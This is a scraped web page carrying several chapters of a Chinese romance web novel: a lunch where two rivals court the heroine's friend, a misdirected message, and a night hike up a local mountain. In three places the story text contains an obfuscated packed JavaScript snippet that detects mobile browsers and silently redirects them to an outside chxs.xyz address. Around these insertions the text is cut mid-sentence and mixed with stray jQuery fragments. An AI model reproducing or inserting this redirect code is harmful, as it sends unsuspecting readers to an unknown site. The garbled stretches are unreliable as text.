“此次来是告知萧老板一声，事情顺利，好让你安心。这是我母亲蒸的梨糕，萧老板可以尝尝。” 申明月那里忙完便赶来报信，母亲得知是来见恩人，特意包了些糕点。 天色不早，萧妧妧要休息，申明月要忙得事情不少，糕点送到，她再简单说两句就结束了。 送走申明月，萧妧妧没什么好忙的，开始为关门做准备。 撤广告牌时，熟悉的身影映入眼帘，定睛一看，是正在遛狗的黎行聿，视线相撞的刹那，双方都露出了意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大王，握个手。” 大王开心的呼哧呼哧喘气，两爪并拢探出去，搭在萧妧妧手心。 “好狗！” 随口夸赞两句，大王更高兴了，嗷呜一声叫。 调戏一会狗子，她对黎行聿说道：“对了，黎先生周六中午有空的吧？我和黎先、哦，是你弟弟，约了明天中午吃饭，不知道他有没有跟你提过。” 萧妧妧这两天刷了不少新闻，学会一个新词，远洋捕捞。 想到职业打假人可能不知道给她举报到哪个消保委去，心里一阵后怕。 哪怕达不到远洋捕捞这么严重，只是小打小闹的敲诈索要赔偿，那一行李包的过期便当，即便按照最低金额赔付，也是一笔开销。 现在的自媒体发展迅速，万一那人胃口大，再给她发散出去造个谣，带个节奏，索要更多钱财…… 萧妧妧一脑补就打不住，各种糟糕结果全想了一遍，越想越感谢拔刀相助的两位黎先生。 “有空，他跟我说过，明天辛苦萧小姐了。” 53. 第 53 章 萧妧妧没想到，云昭昭为她准备的礼物会是一瓶香水。 一款她曾在云昭昭面前随口说起过的，柑橘香调的男士香水。 周六不营业，和异世界的客人们提前知会过要闭店，萧妧妧终于能睡懒觉，在床上蛄蛹到九点多才不情不愿爬起。 洗漱时，萧妧妧一直琢磨菜单，安排菜色，眼睛无意识一瞥，突然看到桌上的黑色包装袋，再仔细一看，上面印着某奢侈品牌的logo。 萧妧妧以为是父母落下的东西，转念一想不对，父母可不认识什么奢侈品，更舍不得花那个钱。 疑惑间，她注意到包装袋里插着一张贺卡似的东西，抽出来一看落款，萧妧妧反应过来，包装袋里装着云昭昭前一天提到的礼物。 萧妧妧查过价格，对比发现昨天包给她的红包能覆盖香水钱，还绰绰有余，随即放心。 她真怕云昭昭会为了买个礼物自己省吃俭用。 为了配得上新香水，萧妧妧换奶黄色连衣裙，再戴上橙子造型的耳钉，整个人从视觉到嗅觉都散发着柑橘香气。 穿搭齐全，妆容也不能差，萧妧妧简单化了个裸妆，抹上晶亮的口红。 “不是要请人吃饭吗？怎么磨磨蹭蹭半天，菜都给你洗好了，赶紧下锅炒了，别赶不上午饭。” 正打扮着，萧大明左等右等等不来女儿，急吼吼跑来催促。 萧妧妧懵逼了，她都想好点哪家店点哪些菜了。 “点外卖？你这不胡闹，请客吃饭哪有点外卖的，快快快，时间来得及，爸把菜都给你弄好洗好切好了。” 萧妧妧穿戴一新，站在厨房里手足无措。 白打扮了。 “我和你妈要去你外婆家住几天，后面几天你和昭昭自己在家弄点吃的，知道你不爱去菜市场，菜我提前买好了，自己在家做吃得健康。” 眼看着萧大明又要说教她，萧妧妧举手认怂，老老实实开空调，穿围裙。 “怎么这时候去外婆家？外公外婆身体不舒服？”萧妧妧转移话题。 萧大明撅着嘴巴摇头，“是社区，天天拉我和你妈去给人开大会，分享被骗经历，唉……你说说这事闹得，本来没几个人知道，现在好了，天天来家里请，拿我们当反面教材，你妈去过一回再不肯去了。” 萧妧妧低头抖肩，笑声噗噗噗。 原来是嫌丢面子，去外婆家躲清净。 “给你们转了生活费，别天天吃垃圾食品，”萧大明嘱咐几句，看时间差不多，忙道：“哎呦，你舅舅要来接我们了，我去叫你妈。” “好好谢谢人家啊，真诚点，别整天嘻嘻哈哈的。”临出门前，张芸不放心的叮嘱。 萧妧妧一句不敢反驳，听在耳朵里，转头就忘。 父母一离开，萧妧妧望着桌面上备好的各种菜，认命地挥动铲子。 还好是她拿手菜，不然真怕把人吃出问题。 云昭昭是将近11点回来的，看到厨房忙活的萧妧妧意外了一会，放下帆布包赶来帮忙。 萧妧妧蹭到云昭昭面前，歪着脖子说：“闻闻看，我今天喷了你送的香水，你再来晚点，就要被油烟味盖住了。” 云昭昭嗅了嗅，果然是柑橘香调，高兴得眯了眼。 “妧妧姐喜欢就好，售货员给我闻过小样，它好像妧妧姐的味道，难怪妧妧姐喜欢它，售货员给我推荐了其他几款，都没有这款适合你。” 收到礼物的人给足情绪价值，送礼物的云昭昭叽叽喳喳分享选礼物过程。 萧妧妧抓了抓后脑勺，“我的味道？柑橘味？” 云昭昭回忆片刻，组织语言：“妧妧姐是柑橘、阳光和大树的味道。” 萧妧妧被她的形容勾起了兴趣，“很少有人用味道形容我。那黎行墨呢？他也有味道？” 云昭昭笑容羞涩，但老实回答：“黎学长是篝火和薄荷的味道，有时候很像阳光晒过的被子的味道。” 萧妧妧更好奇了，一边调料汁一边问：“别人也有味道吗？” 云昭昭点头：“黎先生是青山的味道，那种山脉绵延的青山，季先生是药水味，还有点消毒剂的味道，叔叔阿姨不一样，有成熟的稻谷香气。” 用气味形容身边认识的人，萧妧妧感到新奇，两人聊着聊着，不知不觉已经做好了八菜一汤。 云昭昭浅浅尝了两口，竖起大拇指，“妧妧姐进步好快。” 上次吃萧妧妧做的菜，看得出手艺生疏，萧妧妧怕出丑，才不考虑自己动手。 “可能是因为，这些是我拿手菜？” 在美食荒漠城市上学，萧妧妧被迫学会了下厨房，之所以叫拿手菜，是因为做过太多次，次次要打电话给张芸求着老妈远程指导，不易翻车。 但本质上，萧妧妧在厨艺上并没有什么天赋。 唯一庆幸的是，萧大明知道她的老底，这回全是按照她的水平备菜的，没有超纲题。 云昭昭连着试吃了四道菜，脑袋点得像小鸡啄米，不停说“好吃好吃”。 萧妧妧放心了，摘了围裙忙着端菜上桌，走到院子里一看，黎家那兄弟俩已经到了，因为找不到她们，拘束地坐在大厅里等候。 萧妧妧一拍脑门，尴尬地请他们进餐厅。 黎行墨放下特意准备的红酒，环顾一圈，问：“叔叔阿姨不在吗？” 萧妧妧：“他们回我外婆家了。” 黎行聿作势要卷起袖子帮忙，萧妧妧看他们一身白衬衫，赶紧拒绝。 开饭前，萧妧妧提了一杯饮料，正式而诚恳的向他们道谢。 云昭昭忙跟着举杯。 说着话，门口进来一个人，看到餐厅里的状况，步子停顿。 “季先生……”云昭昭最先看到门口站了个人。 话落音，其他人纷纷转头看过去。 季随颔首和众人打招呼，扬了扬相机，对云昭昭说：“照片洗出来了，想让你看看满不满意。我是不是来得不是时候？” 萧妧妧头顶的八卦雷达瞬间起立，滴溜溜转，她马上转头去看黎行墨。 果不其然，她听到了咯吱咯吱声，疑似是黎行墨在咬牙切齿。 黎行墨警惕地望着季随，过了两秒，转过头征询萧妧妧意见。 “萧小姐，介意我邀请季先生一起用餐吗？” 萧妧妧数了数，除了自己以外，四个人的目光都落在她身上，萧妧妧差点要社恐了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700434|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她忙不迭点头，“当然不介意。” 不仅不介意还要举双手赞成，现场吃瓜谁不爱啊。 “谢谢，”黎行墨冲她道谢，转过头，皮笑肉不笑，“季先生和我们一起吧？” 云昭昭这会坐立不安，看了看黎行墨，又看了看季随，最后无助地望向萧妧妧。 萧妧妧吃瓜还来不及，拍拍云昭昭肩膀，“别看我啊，多吃点。” 季随似乎不打算拒绝，和萧妧妧说声谢，再说一句打扰了，淡定在黎行墨旁边落座。 等萧妧妧找来新餐具递过去，就听到男主们开启了新话题。 “季先生拍景很有特点，但是拍人不太理想，昭昭在你的镜头里黯然失色。听说摄影师的情感也会投射在作品上，会不会是因为这个原因？” 季随抽走落到黎行墨手里的照片，冷漠回答：“黎先生知道的挺多，可惜，这种说法不存在。” 萧妧妧端着碗挪了挪位置，闷不吭声的开始吃瓜。 云昭昭好惨一女的，几乎不敢抬头。 但没关系，战火会蔓延。 “昭昭，你觉得这几张照片拍得怎么样？” 黎行墨隐晦地瞪了一眼季随，眼睛一眨不眨的期待着云昭昭的回答。 送命题，云昭昭支支吾吾说不出话，或者说，不敢发表意见。 桌子下，萧妧妧没忍住，踢了云昭昭一下，示意她支棱起来。 拜托，两个男人为她争风吃醋搞修罗场，云昭昭随便使点小手段，两个人还不是手拿把掐，马上服服帖帖。 云昭昭像是没感觉到，又或者顾及不到回应她，满脑子想着怎么应付过去。 倒是黎行聿朝她看了一眼，目光莫名。 萧妧妧怀疑自己反应过于激动，引起了别人的注意，只得遮掩一二，回以礼貌微笑。 这时，久久没等来云昭昭的答案，黎行墨气势全开，冷笑一声说： “也对，昭昭应该是喜欢季先生的摄影风格，听说季先生从事这个行业十多年，以前还拍过电影？履历丰富，经验丰富，受欢迎是应该的。” 阴阳怪气，最后半句听起来是咬着牙根说的。 萧妧妧想看热闹又不好太明显，闪烁八卦光芒的狐狸眼左右转一圈，再装作若无其事的样子低垂眼眸，实则耳朵竖得高高的，不放过任何动静。 而旁边的云昭昭，脸都快埋进碗里，整个人如坐针毡。 季随不甘示弱，“季先生或许经验不足，但胜在年轻，应该比我更受欢迎才对。” 好像在说照片，又好像不是，萧妧妧琢磨一会，总觉得自己思想不健康，想歪了。 饭桌上气氛古怪，两人之间火药味十足，要掐起来似的。 萧妧妧面上严肃正经，心里疯狂呐喊“打起来打起来”。 反观黎行聿，事不关己，冷眼旁观，甚至有心情夹一筷子糖醋排骨，真是好胃口啊。 萧妧妧都替他着急，三个男主，两个上赛道了，剩下的这个居然有心情吃排骨，情绪不要太稳定。 她实在憋不住，偷摸掏出手机藏在桌沿下，悄悄给云昭昭发去消息。 －姐妹，你看走眼了，黎行墨分明是绿茶的味道！ 54. 第 54 章 黎行聿察觉到手机震动两下，瞥眼看过去，屏幕恰好亮起。 阅读速度太快，以至于他发现不对劲时，已经看完了整条消息。 黎行聿默了默，眼眸微抬，目光落在斜对面的萧妧妧身上。 萧妧妧毫无所觉，脑袋低埋，嘴巴忙着吃饭，耳朵忙着吃瓜，根本无暇关注修罗场里毫无存在感的黎行聿。 这时，云昭昭突然站起。 “我吃饱了，你们慢用。” 她包含歉意地看一眼萧妧妧和季随，临走前狠狠瞪向黎行墨。 黎行墨大迈步追上去，推着云昭昭回来，“吃完再走，我不说话就是了。” 后半句说的不情不愿，好像季随找他麻烦，他是那个受委屈的人。 季随冷笑：“你是该少说几句。” 云昭昭见状，生怕他们吵起来，更用力地挣扎，恨不得马上逃离。 黎行墨眼看着要把人哄回来，季随一出口，白干，心里无端冒出火气。 “季随！你别以为我不知道你……” 眼看着要吵起来，黎行聿搁下筷子，适时打断：“食不言，寝不语。” 他斜睨一眼黎行墨，目光有几分警告意味，就差说“闭嘴吧你”。 黎行墨看了看红着眼要哭不哭的云昭昭，又看了看季随，气得胸膛起伏，可有黎行聿震慑，黎行墨不敢再闹。 萧妧妧见他们似乎陷入了僵持，拉云昭昭回到餐桌边坐下。 “我很辛苦才做出这么一大桌子菜的，至少多吃两口菜吧。” 云昭昭环顾一圈，气氛不尴不尬，心里愧疚得要死，嗯了一声后，狠狠甩开黎行墨，顺着萧妧妧的力道回到位置上。 萧妧妧嘘了一口气，虽然瓜好吃，但气氛确实有点古怪。 季随和黎行墨不再阴阳怪气了，却禁不住他们暗自较劲，好像只有他们自己认为“不着痕迹”。 季随给云昭昭夹去一块排骨，黎行墨换上公筷，夹去一块红烧肉。 “妧妧姐厨艺了得，昭昭你吃块红烧肉，放心，是公筷，我最讲究卫生。” 萧妧妧没想到还有自己的份，上次见面叫她萧小姐，这会已经改口叫姐了，他是懂拉关系的。 云昭昭做贼似的，偷瞄萧妧妧和黎行聿的表情，而后不自在的向黎行墨和季随说谢谢，主打一个一碗水端平。 季随嘲讽地冲着黎行墨勾了勾唇，随即语气温和的提醒云昭昭。 “吃慢点，容易噎着。” 云昭昭不太想理他们，低头默默扒饭。 黎行墨虽然收敛了，但显然是不甘心的。 他像是故意要展示他们关系亲密一样，若无其事的提道：“妧妧姐，夜爬的时间定了，周日凌晨四点集合，刚好能赶上日出。” 萧妧妧抬头：“凌晨四点？” 不是她质疑，市区到南奇山山脚要四十分钟车程，最短线路爬上山至少需要一个小时，夜爬难度增加，且是南市热门旅游项目，游客不会少，可能会存在拥堵排队的情况，酌情考虑，最好再预留半小时左右。 凌晨四点集合，恐怕到山脚下就能看到日出了。 黎行墨是个很愿意听取建议的人，他对南市不熟悉，对南奇山了解的不如萧妧妧，在听她分析过后，当即改口：“那就凌晨三点集合，最迟三点五十开始爬山。” 萧妧妧觉得这个时间还算靠谱，没再说什么，哀叹自己不能睡到太阳晒屁股。 季随浑然不觉自己被排挤了，听他们讨论的差不多，慢悠悠开口：“正好，我也要去南奇山采风，不介意我一起吧？” 黎行墨瞬间变脸，咬着压根说：“介意！” 季随根本不在乎黎行墨的恶劣态度，或者说直接无视了，而是去看萧妧妧和云昭昭。 萧妧妧有种引火上身的错觉，赶紧错开目光，去看云昭昭，等她做决定。 云昭昭快碎了，一面是“你敢答应你就死定了”的黎行墨，一面是“不答应你就死定了”的季随。 怎么死，云昭昭再清楚不过。 季随幽幽接话：“不答应也没关系，我可以自己去。” 黎行墨忽然噎住，后悔不迭，恨不得倒回去捂住自己的嘴。 多一个萧妧妧当电灯泡他能想想办法摆脱，现在倒好，多了一个满身心眼子的人，还是竞争者，纯粹给自己添堵。 云昭昭一听，识时务者为俊杰，飞快接话：“不、不介意。” 和男女主们同行，萧妧妧可以确定，自己才是那个被排挤的电灯泡。 “黎先生要不要一起？人多热闹些，周末应该不影响你工作安排吧？” 深思熟虑后，萧妧妧果断拉另一个人下水。 万一黎行墨耍脾气，至少有黎行聿能控制他，就萧妧妧观察到的情况，黎行墨有那么点怕哥哥。 上回偷看到黎行聿教训弟弟的画面，萧妧妧挺能理解黎行墨的。 黎行聿训人的时候气势太强，哪怕不说重话，那张冷脸就已经代替语言骂人了，发起火来不知道会是什么场面。 云昭昭脑筋急速转动，很快意识到，只要有黎先生在，黎行墨不敢乱来。 她像找到救星似的，连忙发出邀请：“对，黎先生和我们一起吧。” 黎行聿意外萧妧妧会开口邀请他，对上她亮晶晶的狐狸眼，不由自主地点头答应。 “好。” 黎行墨左看看右看看，丧气垂头，脸色黢黑。 完了，二人世界泡汤了。 这顿饭吃得萧妧妧没什么滋味，光顾着看热闹了，饭后，云昭昭要帮忙收拾残局，黎行墨和季随掐上瘾了，争着抢着要包揽洗碗等杂活。 萧妧妧怀疑他们能把厨房掀了，忙阻拦他们：“厨房有洗碗机。” 两人一听，暂且歇了心思。 萧妧妧感觉自己像是被讨好的丈母娘，不由想笑。 云昭昭受不了萧妧妧戏谑打趣的眼神，羞恼之下，一跺脚，把两人都赶了出去。 黎行聿这时慢悠悠地起身离开，萧妧妧眼尖，一下瞧见他黑色西装裤脚上有个大大的鞋印。 好巧不巧，萧妧妧几乎是立刻认出，鞋印出自她的洞洞鞋。 她趁着无人注意，悄悄翘起脚底瞄两眼对比，果然是她的杰作。 难怪她踢完云昭昭，最先看过来的却是黎行聿。 萧妧妧尴尬地握紧拳头，不知道该不该向他认错，事情都过去了一章，或许黎行聿早已忘记？ 迟疑的工夫，黎行聿寒暄两句，提出告辞，萧妧妧松了一口气，理所当然的选择装死，当做什么都不知道。 客人们先后离开，院中只剩下萧妧妧和云昭昭两人，她们不约而同地垮下肩膀，动作一致地垂下脑袋，齐齐叹气。 还没等她把这口气叹完，手机叮咚一声响，是月亮号的提示音。 萧妧妧抓起手机点进去，看到是黎行聿的头像长出小红点，颇为意外。 点进对话框后，这份意外与困惑瞬间转变为惊悚和窘迫。 “卧槽！” 云昭昭正垂头丧气，听到低呼声，转过头，就看到萧妧妧嘴巴紧抿，眼眸圆瞪，一副想要钻地缝的表情。 “怎么了妧妧姐，你没事吧？”她关切的说：“你看起来快碎了。” 萧妧妧捂脸，哀叹一声：“没事，只是社死了。” 什么绿茶的味道，分明是社死的味道，萧妧妧觉得自己能扣出一座南奇山。 沉浸式吃瓜，上头到无法自拔，一不留神，本该发给云昭昭的吐槽错发到黎行聿那里。 再看一眼对话框，是黎行聿发来的回复。 －抱歉，网络不好，没收到你的消息，方便重发一次吗？ 萧妧妧刷新界面，显示网络畅通，那句吐槽顺利发出，想撤回为时已晚。 他真没收到？ 不应该吧。 他这么回复是表示他可以装作没看见？ 谢天谢地，还好没发给黎行墨本人…… 萧妧妧纠结半天，越纠结越想挠头，黎行聿最好是因为网络原因没看到消息，否则…… 否则她也不能怎么样。 事已至此，萧妧妧决定当他没看见。 她咬牙发去一张猫猫土下座的表情包，绞尽脑汁想着怎么编出一个合理的回复，化解尴尬。 －[庆祝][庆祝]不倒闭小卖部分店即将营业，不破产艺术品集合店（不破斋）诚邀您光顾，本店将竭诚为您服务。微利时代,诚信为本,您的光顾,是我最大的荣幸,感恩支持[玫瑰][玫瑰] 231号客厅，黎行墨气冲冲数落季随的厚脸皮、不怀好意、居心叵测，说了半天无人应答。 他一转头，见到的却是换了一身居家服的亲哥对他不理不睬，反倒是垂眸凝着手机。 黎行墨不满抱怨：“哥，你看什么呢，你弟弟我都让外人欺负了。” “看广告。”他头也不抬的回应。 黎行墨更不满了，叉着腰，满脸不可置信地望着黎行聿。 萧妧妧刚把消息发出去，黎行聿那边几乎是秒回。 －谢谢邀请，我会光顾的。 萧妧妧无语了，怎么有人会一本正经回复广告啊。 萧妧妧快速结束对话，然后把黎行聿两个号从聊天列表删除，防止再发生类似事件。 午休过后，萧妧妧总算把社死的尴尬感遗忘，乐呵呵赶去188号签收快递。 是她下单的箭支送到了，因数量较多，她分散在数十家店购入，快递一批批送达，全部堆放在门口。 再就是玻璃餐具器皿，成套的玻璃杯碗盆碟下单了百来套。 尤其杯子，从颜色到款式，五花八门，再有各种做小众原创设计的品牌，能挑出来的新鲜花样就更多了。 别说古代人，萧妧妧自己都忍不住心动留下几个自用。 而琉璃，具有收藏价值，价格要比玻璃贵些，萧妧妧需要的量又大，果断选择从琉璃博物馆下单文创产品，不仅质量有保障，造型也够华丽独特，颇具艺术感。 一边签收一边检查货物，这一忙直接到天黑，想到注定不会平静的夜爬，萧妧妧早早回去休息。 闹钟响起时，时间是凌晨两点半，萧妧妧哼哼唧唧从床上爬起，脑子还有点懵。 等她收拾出一大包东西，蔫答答出门，云昭昭恰好赶来，没多久，四人凑齐在巷子口。 萧妧妧以为至少要等到爬上的时候才能闹腾起来，结果倒好，从坐车这一步开始。 “昭昭当然要坐我的车，我开车稳。” “驾龄 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云昭昭搓了搓手，忐忑的说：“那、妧妧姐你会不会觉得我恶心？我和他们……是不是不太好？” 萧妧妧惊讶：“区区两根……你长那么好看，不多养几条鱼可惜了。” 云昭昭震惊于萧妧妧会说出这番话，不由呆住。 萧妧妧回望她震惊的目光，理直气壮：“这有什么不对吗？我和你才是朋友，胳膊肘不能往外拐。放心，我会帮你打掩护。” 打掩护……云昭昭回过神来，既感动又有点窘迫，更多的是放松。 萧妧妧拍拍她肩膀，安慰她：“做人嘛，不要太在意别人眼光。” 云昭昭绞着手指，声如蚊蚋：“我不在意别人，只担心妧妧姐你会看不起我，以为我……” 萧妧妧摆摆手打断了她，并朝她竖起大拇指：“拜托，你要真把他们拿捏住，我会向全世界夸你有本事，吾辈楷模。” 荤得流油的好日子让她过上了，怎么不算一种本事。 “你朋友说的对，年纪轻的时候多谈几个不是问题，一个一个谈多浪费时间啊。” 或许话题过于劲爆，驾车的司机师傅竖着耳朵听完了全部，打开话匣子参与其中。 “我年轻那会也有好多人追，不骗你们的，我同时在和三个谈，最后挑了一个不怎么样的，看到了吧，我这就是谈少了。” “你们年轻，什么爱不爱的大过天，阿姨我是过来人，听阿姨的不会错，你们要懂得把男人利用起来，不然只能自己被男人利用了，你们说是不是？” “挑男人嘛，不能看他追你用不用心，现在用心，以后也会变心，不长久的。 你得看他鼻子挺不挺，这很重要的，还有手指，要修长的最好，关键是看大腿够不够粗壮，越粗壮越好，胸肌腹肌嘛，那都是基础条件，达不到条件的都是软脚虾镴枪头，谈了浪费时间，真要结婚以后有得是你后悔的，要我说啊，最好是带去医院把把脉，肾虚的坚决不能要。” 萧妧妧没想到坐车还能学到新知识，兴奋加入聊天。 云昭昭虽然捂住了脸，但耳朵没漏过一句话，越听越是忍不住用司机师傅的经验套在黎行墨、季随身上，慢慢地，脸颊红透了。 “城里人真不一样。” 下车后，云昭昭情不自禁发出感叹。 “什么不一样？昭昭，这是登山杖，我特意为你准备的。” 黎行墨先一步到目的地，看到云昭昭的身影快步走来，强硬的要把登山杖塞给她。 云昭昭看了看不算太高的山峰，以及齐全的登山装备，沉默。 恰好这时季随找过来集合，带来一瓶驱蚊喷雾，又给云昭昭递去手电筒。 云昭昭摸了摸包，发现确实是她忘记准备的东西，低声道谢后接下它们。 季随满意勾唇，轻挑眉梢，对着黎行墨嗤笑，黎行墨气不打一处来，缠着云昭昭要问个究竟。 “你更喜欢他？为什么不接我的东西？” 云昭昭为难地开口：“南奇山只有600多米……” 黎行墨：“600米难道不是山吗？” 云昭昭委婉的说：“我家在山上，1000米的山。” 她没好意思说，背着妧妧姐她也能爬，哪用得着什么登山杖，带了反而是负累。 黎行墨忽然哑了声，视线飘忽一会，好半晌才找到角度回应：“你都没跟我提过你家住在1000米的山上！” 有点无理取闹的味道。 萧妧妧嫌这里热，蚊虫又多，没兴趣看热闹，不得不插话：“还有十五分钟到四点，你哥呢？你们不是一起来的吗？” 四人先一步到山下集合，等了大约两三分钟，身边陆续有夜爬的游客结伴上山，走了好几波人，黎行聿还没出现。 黎行墨看一眼时间，随口解释：“我哥那人就是有臭毛病，开车不允许超过四十码，我从来不爱和他一辆车出门的。估计快了吧？他比我们先出发，按理说不会太……来了。” 正说着，黎行聿从停车场方向走来，刚好在约定好的那一刻和大家汇合。 三个大帅哥站成一排，恰好是黑白灰三色，吸引了不少目光。 55. 第 55 章 作为唯一的本地人，萧妧妧约等于团队的主心骨，见人到齐，大手一挥，带着他们拐去僻静小门。 “你们是第一次来，先带你们走捷径上山，比较省力气，下山的时候走另一条路，可以路过南奇寺，刚好把南奇山的几个主要景点看完。” 萧妧妧计划得很好，只是没想到小众冷门的上山小径意外的热闹，狭窄处竟然要排队通过。 黎行墨望着络绎不绝的夜爬游客，神情幻灭：“……怎么会这么多人。” 在他的设想中，南奇山景色佳，又是树林茂密的野外，浪漫、安静，最适合约会。 现在看来，和浪漫一点关系不沾。 萧妧妧：“人多很正常，南市虽然低调，但实打实的一线城市，旅游资源异常丰富，我记忆里各个景点向来是爆满的状态，尤其最近两年南市在网上火了，人就更多了。 别看南奇山冷门，本地人最爱来这里爬山健身，夜爬的游客也多了起来。” 黎行墨看了看攒动的人头，叉着腰，语气不爽：“不爬了，上山都要排队，我们坐直升机上去。” 他想一出是一出，萧妧妧没忍住：“想得美，600米的山哪来的直升机给你坐。” 黎行墨傻眼：“没有直升机？怎么会？” 季随讥讽：“黎大少爷不习惯徒步上山可以先回去。” 云昭昭很怕他们又吵起来，拽住黎行墨的衣角，小声说：“学长，我想爬上去，你看，前面已经畅通了。” 黎行墨什么气都没了，哼了一声，不理会季随。 恰好夜爬的队伍缓慢向前挪动，萧妧妧顾不上听他们打嘴仗，眼睛一眨不眨地盯着脚下。 小径路灯昏黄，阶梯看得不真切，她要仔细分辨一会才敢迈步。 埋头走着走着，眼前阶梯闪过来一道光束。 萧妧妧站稳了扭头，没想到会是黎行聿，他不远不近的落在她身后，手里握着手电，而光束照在自己脚边。 “怎么了？”他停下脚步，抬头看过来问。 萧妧妧意外了一会，笑着说：“谢谢啊。” 黎行聿微微勾唇，没说什么。 爬了半截，越往山上去人越多，走走停停，萧妧妧抬头一看，除了云昭昭活力满满一个劲往前蹿，大家无不是一脑门汗。 她是最差劲的那个，气喘吁吁不说，爬一截要歇一会，没多久就落后了一大截，只能眼巴巴望着大家的背影。 哦，被甩在后面的还有黎行聿，他爬山慢悠悠的，倒是不怎么喘，应该不是体力原因。 萧妧妧再次停下歇息的时候，同行的游客陆续赶超，再甩得她远远的。 她不由转身看向后方，黑咕隆咚，可以说只剩下她和黎行聿。 两人不止是被自己人甩开了，还被同行的游客甩在后面。 萧妧妧过意不去，说：“黎先生可以追上他们，不用管我，我体力差，一个人慢慢走没多久能赶上。” 黎行聿：“时间还早，不着急，我不想听他们吵。” 萧妧妧闻言，很能理解他的想法，深以为然地点头附和。 那两人不知道哪来的力气，爬山还有空争风吃醋，云昭昭仗着自己体力好，先一步跑远，萧妧妧体力跟不上，只能落后拉开差距。 “嗷呜～” 两人说着话，密林里忽然传来吼叫，没多久，前方有年轻人跟着狼嚎起来。 萧妧妧吓得一激灵，拍拍胸口，“吓死我了，差点以为有野猪蹿出来。” 黎行聿环顾四周，神情迟疑：“山上有野猪？” 萧妧妧扶着栏杆，缓慢向上挪动，喘几声抽空回话：“野猪、猴子、蛇都有，野猪和猴子打架，游客遭殃的新闻每年能上好几次热搜。” 她随手指向路边，那里有贴着小心野生动物的警示牌。 黎行聿收回目光要接话，山上又是一声嚎叫，前面不少游客吓得哎呦一声，低声抱怨。 萧妧妧又被吓了一跳，气得脸颊鼓鼓，很不满同类们突如其来的返祖行为。 “感觉自己爬得是花果山，满山都是猴。”她嘟囔。 鬼哭狼嚎此起彼伏，萧妧妧虽然习惯了，但很不爽，尤其两人落单，除了手电筒发出光束，附近黢黑一片，阴森得很。 不爽的萧妧妧眼珠子一转，扭头对黎行聿发出提醒：“我就练练嗓子，你别怕啊。” 黎行聿：？ 萧妧妧无视他投来的疑惑目光，清清嗓子，两手呈喇叭状拢在嘴巴附近，没多久，咿咿呀呀的唱腔婉转泄出。 “高中生侦探～灌了药，翩翩少年～变稚子，为防贼人找上门，稚子隐姓又埋名～” 山中空旷，树林幽静，萧妧妧尖细嗓音很快飘了半座山，霎时间，嚎叫声戛然而止。 黎行聿诧异地看她。 萧妧妧一边唱，一边朝他挤眼睛，示意“快了快了”。 她又唱了大半句，记不住后面的词了，咿呀咿呀吊一会嗓子，意犹未尽的止住。 唱戏声一停，山里静得可怕，只有风吹过树林的沙沙声，嚎叫声久久没再出现。 萧妧妧满意叉腰，“让你们吓我，哼哼。” 黎行聿失笑，帮她拧开一瓶水递过去，问：“听唱腔应该是越剧？” 萧妧妧惊讶他能分辨出是哪个剧种，点点头，低声道谢，接过水猛灌两口。 黎行聿：“我是在爷爷奶奶身边长大，他们爱听戏，耳濡目染了解一些。” “让你见笑了，其实不是传统戏剧，是改编的《名侦探柯南》，”萧妧妧解释完，话音顿了顿，偏头看他，“你知道柯南吧？那个大头死神。” 她绷起脸，做了个推眼镜的手势，粗着嗓子，“心机之蛙一直摸你肚子！” 黎行聿看起来像是那种从小接受严苛教育的人，萧妧妧几次交流发现他对什么流行语、网络梗一无所知，合理怀疑他没看过动画片。 黎行聿看了看她指来的手，“看过一点，没想到你唱得是它。” 结束模仿，萧妧妧收回手，难得露出腼腆笑容：“嘿嘿，不记得正经曲目怎么唱了，小时候被爸妈逼着学了几年，只能说有点基础，刚才唱得那段是大学排戏的时候用到的，其实也快忘了。” “哥，妧妧姐，你们也太慢了吧。” 两人一边说话一边慢吞吞爬，走过一段平缓栈道，就看到前面平台上等着的三人。 黎行墨看两人不急不缓的，晃着手电催促。 云昭昭贴心多了，主动提出放慢速度，大家一起上山。 萧妧妧看一眼指示牌，距离看日出的观景平台只剩下半小时的路，而时间还早，看不出天亮的迹象。 黎行墨看着前面黢黑的石阶，心里毛毛的，吐槽道：“刚才不知道谁在那唱戏，大半夜咿咿呀呀的真吓人。” 云昭昭小声凑过来揭他老底：“学长让唱戏声吓到了，非说要等大家一起行动。” 真等到人，黎行墨又后悔了，哪知道大哥和萧妧妧两人速度这么慢，等了好一会，前面连人影都看不见，更吓人了。 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756268|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妧妧心虚，摸了摸鼻子偷看黎行聿反应。 黎行聿神色如常，脸不红气不喘，淡定回道：“没听见。” 黎行墨嘶了一声，“你们真没听见啊？山上回声传出去好远。” 萧妧妧收回目光，紧盯脚下石阶，装傻道：“什么唱戏啊，我们只听到有猴子叫。” 云昭昭撅了撅嘴：“学猴子叫的我们遇见了，吓我们一跳，那人路过小吊桥的时候拼命晃，要不是学长上去制止，真怕桥让他摇塌了，真讨厌。” 萧妧妧暗道一声幸好走得慢，没遇上这种人。 